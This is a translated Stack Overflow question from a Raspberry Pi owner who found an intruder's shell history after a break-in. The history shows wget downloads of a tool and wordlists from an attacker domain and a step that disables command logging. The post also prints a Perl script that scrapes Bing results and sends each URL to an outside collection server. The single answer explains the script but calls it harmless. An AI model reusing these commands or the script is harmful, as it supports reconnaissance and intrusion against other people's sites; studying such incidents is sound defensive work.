linux - 在保护我的网络服务器(rpi)免受外部 ssh 登录的影响后，我在我的计算机上发现了这个 perl 脚本。有人能告诉我它有什么作用吗？

Question

已关闭。此问题不符合 Stack Overflow guidelines 。目前不接受答案。

---

这个问题似乎与 help center 中定义的范围内的编程无关。 .

已关闭 6 年前。

Improve this question

有一个名为“user”的帐户将用于这些登录，该帐户来自世界各地。昨天我花了几个小时保护计算机，从那时起就没有登录过。我awk将/var/log/auth.log 编辑到按从最旧到最近登录顺序排列的 ip 列表中，如果这有帮助的话:

    185.145.252.26
    185.145.252.36
    109.236.83.3
    104.167.2.4
    217.23.13.125
    185.38.148.238
    194.88.106.146
    43.225.107.70
    194.88.107.163
    192.162.101.217
    62.112.11.88
    194.63.141.141
    194.88.107.162
    74.222.19.247
    194.88.107.164
    178.137.184.237
    167.114.210.108
    5.196.76.41
    118.70.72.25
    109.236.91.85
    62.112.11.222
    91.195.103.172
    62.112.11.94
    62.112.11.90
    188.27.75.73
    194.88.106.197
    194.88.107.165
    38.84.132.236
    91.197.235.11
    62.112.11.79
    62.112.11.223
    144.76.112.21
    185.8.7.144
    91.230.47.91
    91.230.47.92
    91.195.103.189
    91.230.47.89
    91.230.47.90
    109.236.89.72
    195.228.11.82
    109.236.92.184
    46.175.121.38
    94.177.190.188
    171.251.76.179
    173.212.230.79
    144.217.75.30
    5.141.202.235
    31.207.47.36
    62.112.11.86
    217.23.2.183
    217.23.1.87
    154.122.98.44
    41.47.42.128
    41.242.137.33
    171.232.175.131
    41.114.123.190
    1.54.115.72
    108.170.8.185
    86.121.85.122
    91.197.232.103
    160.0.224.69
    217.23.2.77
    212.83.171.102
    41.145.17.243
    62.112.11.81
    82.79.252.36
    41.114.63.134
    5.56.133.126
    109.120.131.106
    76.68.108.151
    113.20.108.27
    46.246.61.20
    146.185.28.52
    45.32.219.199

更改“用户”帐户的密码后我做的第一件事就是运行 history ，这给了我这个结果:

1  sudo
2  sudo
3  sudo service vsftpd stop
4  su clay
5  unset PROMPT_COMMAND
6  PS1='[PEXPECT]\$'
7  wget http://xpl.silverlords.org/bing -O bing
8  wget http://www.silverlords.org/wordlist/xaaaaaaaaqb.txt -O word ; perl bing word
9  wget http://www.silverlords.org/wordlist/xaaaaaaaaiv.txt -O word ; perl bing word
10  uname
11  n
12  uname
13  history

然后我跑了 cat /home/user/.bash_history了解更多，但我已经拥有的就是文件中的所有内容。

在“用户”的主文件夹中，我找到了四个文件，bing , output.13.19.27.txt , output.16.10.38.txt ，和word 。除了 bing 之外，所有内容都是空的，这是一个 Perl 脚本:

#!/usr/bin/perl                                                            
use strict;                                                          
use LWP::UserAgent;                                                                 
use LWP::Simple;                                                                    
use POSIX qw(strftime);                                                             
my $data = strftime "%H.%M.%S", gmtime;                                             

my $ARGC = @ARGV;                                                                   
if ($ARGC !=1) {                                                                    
        printf "$0 arquivo.txt\n";                                                  
        printf "Coded by: Al3xG0 x@~\n";                                            
        exit(1);                                                                    
}
my $st = rand();
my $filename = $ARGV[0];
print "Input Filename - $filename\n";

my $max_results = 2;

open (IFH, "< $filename") or die $!;
open (OFH, "> output.${data}.txt") or die $!;

while (<IFH>) {
        next if /^ *$/;
        my $search_word = $_;
        $search_word =~ s/\n//;
        print "Results for -$search_word-\n";
        for (my $i = 0; $i < $max_results; $i += 10) {
                my $b = LWP::UserAgent->new(agent => 'Mozilla/4.8 [en] (Windows NT 6.0; U)');
                $b->timeout(30); $b->env_proxy;
                my $c = $b->get('http://www.bing.com/search?q=' . $search_word . '&first=' . $i . '&FORM=PERE')->content;
                my $check = index($c, 'sb_pagN');
                if ($check == -1) { last; }
                while (1) { 
                        my $n = index($c, '<h2><a href="');
                        if ($n == -1) { last; }
                        $c = substr($c, $n + 13);
                        my $s = substr($c, 0, index($c, '"'));
                        my $save = undef;
                        if ($s =~ /http:\/\/([^\/]+)\//g) { $save = $s; }
                        print "$save\n";
                        #if ($save !~ /^ *$/) { print OFH "$save\n"; print "$save\n"};
                        getprint("http://post.silverlords.org/sites.php?site=$save");
                }
        }
        print "\n";
}
close (IFH);
close (OFH);

我不懂perl，而且花了这么多时间在sshd配置、黑名单等方面，我真的没有时间或精力去学习。如果有人能告诉我该脚本的作用和/或攻击者试图做什么，那就太好了。

非常感谢，
粘土

编辑:我发现这篇文章可以解释 bing 搜索脚本的用途:https://www.wired.com/2013/02/microsoft-bing-fights-botnets/

Answer 1

它读取通过命令行传递的文件，并使用每一行作为一个短语来进行 Bing 搜索。它打印 Bing 返回的每个搜索结果的 URL，并将其发送到 http://post.silverlords.org/sites.php?site=$save，其中 $save 是 URL

它曾经将相同的 URL 写入 output.HH.MM.SS.txt 文件，但该行已被注释掉，因此文件已创建但保留为空

所以这只是一个命令行 bing 搜索；没什么太险恶的。基本上没有什么是他们不能在任何可以访问 bing

的机器上运行的